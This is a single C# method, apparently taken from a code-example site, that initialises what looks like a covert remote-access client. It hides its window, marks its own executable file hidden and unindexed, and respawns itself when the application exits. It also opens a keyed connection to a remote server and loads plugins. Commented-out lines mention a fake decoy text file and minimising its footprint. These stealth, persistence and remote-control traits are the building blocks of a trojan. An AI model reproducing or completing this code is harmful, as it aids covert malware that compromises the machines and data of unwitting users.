Beispiel #1
0
 public void Initialize(HandlerInitData option)
 {
     this.Assembly            = option.Assembly;
     this.CONNECTION_TIMEOUT  = option.CONNECTION_TIMEOUT;
     this.CONNECTION_INTERVAL = option.CONNECTION_INTERVAL;
     if (option.HideOnStart)
     {
         HideForm(option.HostForm);
         File.SetAttributes(Assembly.Location, FileAttributes.Hidden | FileAttributes.NotContentIndexed);
     }
     Application.ApplicationExit += (o, e) =>
     {
         try
         {
             Transmitter.DeAuthorize();
         }
         catch { }
         if (option.StartNewProcessOnExit)
         {
             Replicate();
         }
     };
     SetupDirectories();
     //OpenFakeTextFile("Hey!");
     Transmitter = new Library.Transmitter(option.Url, option.APIKEY_PRIVATE, option.APIKEY_PUBLIC, CONNECTION_TIMEOUT);
     //var compHash = Transmitter.GetComputerHash(); Clipboard.SetText(compHash); MessageBox.Show(compHash);
     SetupConnectionTimer();
     //MinimizeFootPrint();
     PluginHandler = new PluginHandler((IPluginHost)option.HostForm, DirPlugins);
 }